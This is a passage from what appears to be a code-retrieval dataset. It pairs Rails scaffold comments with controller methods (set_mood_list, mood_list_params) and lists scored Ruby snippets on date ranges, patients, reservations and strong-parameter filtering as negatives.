/^\\d+$/\n#\t\t\t\t\t\t\twith( field.to_sym, pp )\t#\tprimarily for testing? No range, just value\n#\t\t\t\t\t\tend\n#\t\t\t\t\tend\n#\t\t\t\tend\n#\t\t\tend\n\t\t\tfacet field.to_sym do\n\t\t\t\tif log\n\t\t\t\t\trow \"Under 1e#{start}\" do\n\t\t\t\t\t\twith( field.to_sym ).less_than \"1e#{start}\".to_f\n\t\t\t\t\tend\n\t\t\t\t\t(start..(stop-step)).step(step).each do |range|\n\t\t\t\t\t\trow \"1e#{range}..1e#{range+step}\" do\n\t\t\t\t\t\t\twith( field.to_sym, Range.new(\"1e#{range}\".to_f,\"1e#{range+step}\".to_f) )\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\trow \"Over 1e#{stop}\" do\n\t\t\t\t\t\twith( field.to_sym ).greater_than \"1e#{stop}\".to_f\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\t#\trow \"text label for facet in view\", block for facet.query\n\t\t\t\t\trow \"Under #{start}\" do\n\t\t\t\t\t\t#\tIs less_than just less_than or does it also include equal_to?\n\t\t\t\t\t\t#\tResults appear to include equal_to which makes it actually incorrect and misleading.\n\t\t\t\t\t\twith( field.to_sym ).less_than start\t\t#\tfacet query to pre-show count if selected (NOT A FILTER)\n\t\t\t\t\tend\n\t\t\t\t\t#\tthis works when like 1-100 step 10\n\t\t\t\t\t(start..(stop-step)).step(step).each do |range|\n\t\t\t\t\t\trow \"#{range}..#{range+step}\" do\n\t\t\t\t\t\t\twith( field.to_sym, Range.new(range,range+step) )\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\trow \"Over #{stop}\" do\n\t\t\t\t\t\t#\tIs greater_than just greater_than or does it also include equal_to?\n\t\t\t\t\t\t#\tResults appear to include equal_to which makes it actually incorrect and misleading.\n\t\t\t\t\t\twith( field.to_sym ).greater_than stop\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def patients\n appointments.map{|appointment| appointment.patient}.uniq\n end", "def getLeasesBySlice(slice)\n leases = getLeases()\n this_slice_leases = []\n leases.each do |lease|\n if lease[\"status\"] == \"accepted\"\n if lease[\"account\"][\"name\"] == slice\n if lease[\"valid_until\"].split(' ')[0] > Time.zone.today.to_s \n this_slice_leases << lease\n elsif lease[\"valid_until\"].split(' ')[0] == Time.zone.today.to_s \n if lease[\"valid_until\"].split(' ')[1][0...-3] > Time.zone.now.to_s.split(' ')[1][0...-3]\n this_slice_leases << lease\n end \n end\n end\n end\n end\n return this_slice_leases\n end", "def get_data_elements_by_type(patient, type)\n matches = []\n patient.dataElements.each do |data_element|\n matches << data_element if data_element[:_type] == type\n end\n matches\n end", "def get_available_requests\n start_f =start_time.to_f\n erg = []\n\n Request.all.each do |t|\n if (start_f.between?(t.start_time.to_f, t.end_time.to_f) and \n ((Geocoder::Calculations.distance_between [t.starts_at_N, t.starts_at_E], \n [starts_at_N, starts_at_E], :units => :km) <= t.start_radius) and\n ((Geocoder::Calculations.distance_between [t.ends_at_N, t.ends_at_E], \n [ends_at_N, ends_at_E], :units => :km) <= t.end_radius)) then \n erg << t\n end\n end\n return erg\n end", "def within(range: 1.00..5000.00)\n between(from: range.min, to: range.max)\n end", "def points_in_range(range, found)\n if !@boundary.to_array.intersect_rect?(range.to_array)\n return\n end\n\n # add all points from this quadtree if they are in the range\n @points.each do |point|\n if point.inside_rect?(range.to_array)\n found << point\n end\n end\n\n # recursive calls on each of the 4 children if children exist\n if @divided\n @northwest.points_in_range(range, found)\n @northeast.points_in_range(range, found)\n @southwest.points_in_range(range, found)\n @southeast.points_in_range(range, found)\n end\n end", "def find_reservations(date: Date.today)\n found_reservations = []\n\n if date.class != Date\n date = Date.parse(date)\n end\n\n reservations.each do |reservation|\n all_dates = DateRange.create_date_array(start_date: reservation.start_date, end_date: reservation.end_date)\n if all_dates.include? date\n found_reservations << reservation\n end\n end\n\n return found_reservations\n end", "def get_acceptable_call_times\n AvailableTime.all.map{|m|\n if m.pharmacy_id == self.id #should be interger already but casting just in case\n {\"start\" => m.start_time.strftime(\"%H:%M:%S\"), \"stop\" => m.end_time.strftime(\"%H:%M:%S\")}\n else\n nil\n end\n }.compact\n end", "def new_total_tb_w2yrs(start_date=Time.now, end_date=Time.now, section=nil)\n value = []\n\n start_date = @@start_date.to_date.strftime('%Y-%m-%d 00:00:00')\n end_date = @@end_date.to_date.strftime('%Y-%m-%d 23:59:59')\n\n patients = FlatCohortTable.find_by_sql(\"SELECT ftc.patient_id FROM flat_cohort_table ftc\n LEFT OUTER JOIN flat_table1 ft1 ON ft1.patient_id = ftc.patient_id\n WHERE ftc.date_enrolled >= '#{start_date}'\n AND ftc.date_enrolled <= '#{end_date}'\n AND (ft1.pulmonary_tuberculosis_last_2_years = 'Yes' OR\n ft1.who_stages_criteria_present = 'Tuberculosis (PTB or EPTB) within the last 2 years')\n GROUP BY ftc.patient_id\").collect{|p| p.patient_id}\n\n\n value = patients unless patients.blank?\n end", "def index\n @regions = Region.more_than(ENV[\"FEEDBACK_THRESHOLD\"].to_i)\n end", "def graph_data(events, minute_range)\n graph_data =[]\n events.each do | e |\n if (Time.now - e.capture_time) / 60 < minute_range\n graph_data << [e.capture_time, e.value]\n end\n end\n return graph_data\n end", "def index\n current_year = DateTime.now.year\n date_registration_opens = DateTime.new(current_year, 1, 1)\n date_registration_closes = DateTime.new(current_year+1, 1, 1)\n @camps = Camp.where(\"(start_date >= ? AND start_date < ?)\", date_registration_opens, date_registration_closes).all\n end", "def availabilities(from_date: Time.now, until_date: Time.now+(60*60*24*21))\n PrioTicket::Availabilities.find(distributor_id: distributor_id, ticket_id: ticket_id, identifier: identifier, from_date: from_date, until_date: until_date) \n end", "def check_availability(params, campsites)\n # make array of inputed dates\n user_dates = (params[:start]..params[:end]).to_a\n\n # get all start and end dates of ALL bookings\n temp_campsites = []\n taken_dates = []\n\n campsites.each do |campsite|\n taken_dates = []\n campsite.bookings.each do |booking|\n # all taken dates for 1 campsite\n taken_dates << ((booking[:start_date].strftime(\"%Y-%m-%d\"))..booking[:end_date].strftime(\"%Y-%m-%d\")).to_a\n end\n\n taken_dates = taken_dates.flatten\n # p user_dates\n # p taken_dates\n if taken_dates[0].nil?\n puts \"No bookings made by anyone - all dates avaiable\"\n temp_campsites << campsite\n elsif user_dates.all? { |date| taken_dates.include?(date)}\n puts \"NO AVAILABLITY\"\n elsif user_dates.all? { |date| !taken_dates.include?(date)}\n puts \"All days avaiable\"\n temp_campsites << campsite\n else\n puts \"some dates avaiable\"\n temp_campsites << campsite\n end\n end\n\n return temp_campsites\n end", "def arel_vt_intersect(instant, range_end)\n arel_intersect(:vtstart_at, :vtend_at, instant, range_end)\n end", "def patients_in_ipp_and_greater\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['IPP'])\n end.pluck(:_id)\n end", "def patient_visit_types\n yes_concept = ConceptName.find_by_name('YES').concept_id\n hiv_reception_breakdown = {}\n\n (patient_visits || []).each do |v|\n visit_date = v['obs_datetime'].to_date\n visit_type = v['name']\n ans_given = v['value_coded'].to_i == yes_concept\n patient_id = v['patient_id'].to_i\n patient_present = (visit_type.match(/patient/i) && ans_given ? true : false)\n guardian_present = (visit_type.match(/person/i) && ans_given ? true : false)\n\n if hiv_reception_breakdown[visit_date].blank?\n hiv_reception_breakdown[visit_date] = {}\n hiv_reception_breakdown[visit_date][patient_id] = {\n patient_present: 0, guardian_present: 0\n }\n elsif hiv_reception_breakdown[visit_date][patient_id].blank?\n hiv_reception_breakdown[visit_date][patient_id] = {\n patient_present: false, guardian_present: false\n }\n end\n\n if visit_type.match(/patient/i)\n hiv_reception_breakdown[visit_date][patient_id][:patient_present] = patient_present\n end\n if visit_type.match(/person/i)\n hiv_reception_breakdown[visit_date][patient_id][:guardian_present] = guardian_present\n end\n end\n\n hiv_reception_breakdown\n end", "def appointments\n Appointment.all.select { |appointment| appointment.patient == self }\nend", "def new_total_current_tb(start_date=Time.now, end_date=Time.now, section=nil)\n value = []\n\n start_date = @@start_date.to_date.strftime('%Y-%m-%d 00:00:00')\n end_date = @@end_date.to_date.strftime('%Y-%m-%d 23:59:59')\n\n patients = FlatCohortTable.find_by_sql(\"SELECT ftc.patient_id FROM flat_cohort_table ftc\n LEFT OUTER JOIN flat_table1 ft1 ON ft1.patient_id = ftc.patient_id\n WHERE ftc.date_enrolled >= '#{start_date}'\n AND ftc.date_enrolled <= '#{end_date}'\n AND (ft1.pulmonary_tuberculosis = 'Yes' OR\n ft1.extrapulmonary_tuberculosis = 'Yes' OR\n ft1.who_stages_criteria_present IN ('Extrapulmonary tuberculosis (EPTB)', 'Pulmonary tuberculosis', 'Pulmonary tuberculosis (current)'))\n GROUP BY ftc.patient_id\").collect{|p| p.patient_id}\n\n value = patients unless patients.blank?\n end", "def scan_range(ip_range)\n active_ips = ip_range.select { |ip| Net::Ping::External.new(ip).ping? }\nend", "def filter_locations_hk(points)\n filter_locations(points, 15.845.within(0.07), 50.21.within(0.1))\nend", "def lookup\n filter = look_up_filter\n filters = lookup_verse_range(filter)\n\n if filters.present?\n if 'by_page' == filter\n pages.where('(first_verse_id >= :verse_from) AND (last_verse_id <= :verse_to)', filters)\n else\n pages.where('(first_verse_id >= :verse_from OR last_verse_id >= :verse_from) AND (first_verse_id <= :verse_to OR last_verse_id <= :verse_to)', filters)\n end\n else\n []\n end\n end", "def find_start_time_and_venue(availability, have_created_venue=false)\n availability.timeslots.each do |timeslot|\n reservation = find_venue_for_timeslot(availability, timeslot)\n return reservation if reservation.present?\n end\n\n # If we reach here, we failed to find an appropriate timeslot.\n if have_created_venue\n # This should be impossible, but just in case it somehow happens ...\n raise \"Unable to allocate form for #{availability.project.name}\"\n else\n create_venue\n find_start_time_and_venue(availability, have_created_venue=true)\n end\n end", "def compute_local_range()\n begin_index = time2index(local_range.begin)\n end_index = time2index(local_range.end, -1) # FIXME this gives an unreachable index causing Exceptions down the line...\n begin_index..end_index\n end", "def ranges(date)\n ranges =[]\n bra_doc = bra_per_day(date)\n bra_doc.each do |element|\n ranges << element[\"massif\"]\n end\n p ranges\n end", "def patients_in_measure_population_observation\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['OBSERV'])\n end.pluck(:_id)\n end", "def data_range(record)\n #carico la campagna attiva\n camp = Campagne.find(:first,:conditions => [\"active = true\"])\n #a meno che la data non rientri nel range della campagna\n unless record.data >= camp.inizio && record.data <= camp.fine\n #salvo l'errore simple range\n simple_range_error(record,\"Data range\")\n end\n end", "def in_what_class_at?(start_time, end_time = nil)\n quarter = Quarter.find_by_date(start_time)\n return false if quarter.nil?\n regs = registrations.for(quarter)\n return [] if regs.nil?\n regs.courses.enrolled.select{|c| c.meets_at?(start_time, end_time)}\n end", "def index\n # @blood_pressures = BloodPressure.all\n @blood_pressures = params[:patient].present? ? BloodPressure.all.where(patient_id: params[:patient]) : BloodPressure.all\n end", "def slice(start_x, end_x)\n if start_x.class == Fixnum\n if end_x.class == Fixnum\n dates[(start_x-1)..(end_x-1)]\n else\n dates[start_x-1..-1].select{|d| d <= end_x}\n end\n elsif start_x.class ==Date \n if end_x.class == Date\n dates.select{|d| d >= start_x and d <= end_x}\n else\n dates.select{|d| d >= start_x}[0..end_x-1]\n end\n end\n end", "def index\n date_range = unix_date(params[:date])\n @timeslots = Timeslot.where('start_time >= ? and start_time <= ?', date_range[:beginning_of_day], date_range[:end_of_day])\n # render :json => @timeslots.as_json(only: [])\n end", "def reservations_by_date(date)\n @all_reservations.select {|reservation| reservation.contains(date)}\n end", "def appointments\n Appointment.all.select{|appointment| appointment.patient == self}\nend" ]
[ "0.5873042", "0.5644456", "0.5568839", "0.5292783", "0.5276463", "0.52721125", "0.5224486", "0.5165538", "0.5164641", "0.513881", "0.51188076", "0.5094088", "0.5060091", "0.50489724", "0.5042062", "0.5038151", "0.49660924", "0.4962078", "0.493262", "0.493262", "0.49099264", "0.49019012", "0.49009678", "0.48924482", "0.48855102", "0.48373428", "0.48314804", "0.48073032", "0.48059857", "0.48020366", "0.4793735", "0.47920027", "0.4765278", "0.47575307", "0.4754349", "0.4750751", "0.47476447", "0.47433186", "0.4735326", "0.4735326", "0.47347036", "0.47201684", "0.47201073", "0.47182107", "0.4712121", "0.4712121", "0.47040987", "0.46996218", "0.46970406", "0.4693903", "0.46904236", "0.4685774", "0.46818852", "0.46786863", "0.4676823", "0.4676695", "0.46703783", "0.46662685", "0.46655345", "0.46628377", "0.4661732", "0.46561676", "0.46526203", "0.46494567", "0.46420068", "0.4635884", "0.46322495", "0.46318525", "0.46237072", "0.46170047", "0.4616674", "0.46111646", "0.46032414", "0.4600706", "0.45909446", "0.4587177", "0.45861146", "0.45860982", "0.45846397", "0.4579801", "0.4574764", "0.45684996", "0.45647", "0.45629954", "0.45619413", "0.45596454", "0.45544598", "0.4553773", "0.45500877", "0.45428747", "0.45422262", "0.45320842", "0.45245448", "0.4523413", "0.45159176", "0.4513771", "0.4510598", "0.450803", "0.45002976", "0.44989288" ]
0.6235888
0
Use callbacks to share common setup or constraints between actions.
def set_mood_list @mood_list = MoodList.find_by(user_id: current_user.id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def set_actions\n actions :all\n end", "def define_action_helpers?; end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup_handler\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def action\n end", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def after_set_callback; end", "def initialize(*args)\n super\n @action = :set\nend", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def around_hooks; end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def setup(&blk)\n @setup_block = blk\n end", "def default_action; end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def call\n setup_context\n super\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def duas1(action)\n action.call\n action.call\nend" ]
[ "0.61637366", "0.60446453", "0.59452957", "0.591511", "0.58885515", "0.5834122", "0.57761765", "0.5702554", "0.5702554", "0.5652102", "0.5619581", "0.5423898", "0.5409782", "0.5409782", "0.5409782", "0.5394745", "0.53780794", "0.5356209", "0.5338898", "0.53381324", "0.5328622", "0.5309231", "0.5296901", "0.529641", "0.5296097", "0.5258364", "0.5242683", "0.5236372", "0.5236372", "0.5236372", "0.5236372", "0.5236372", "0.52346426", "0.52320486", "0.5225926", "0.52210605", "0.52171826", "0.52138335", "0.5207914", "0.52069265", "0.5176269", "0.5174653", "0.51730466", "0.51650184", "0.5161409", "0.5156175", "0.5154185", "0.5151096", "0.5151089", "0.51452935", "0.5138662", "0.51339483", "0.5113475", "0.51132", "0.51132", "0.5108031", "0.51075375", "0.5090693", "0.50892115", "0.5081523", "0.5081454", "0.5064919", "0.50545585", "0.50531805", "0.50501585", "0.50501585", "0.50329936", "0.5024674", "0.50203156", "0.50156844", "0.50149846", "0.50011337", "0.4999346", "0.49984375", "0.4988749", "0.4988749", "0.49842322", "0.49800175", "0.4979922", "0.49791628", "0.49666047", "0.49655434", "0.49559638", "0.49557537", "0.49554902", "0.4953974", "0.49519545", "0.49449277", "0.49440357", "0.49329734", "0.49315402", "0.49261367", "0.4925912", "0.4925598", "0.4924306", "0.49202663", "0.49167567", "0.49164373", "0.4915191", "0.49145022", "0.49140996" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def mood_list_params params[:moods] = encrypt_param params[:moods] params.permit(:moods) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def valid_params_request?; end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if 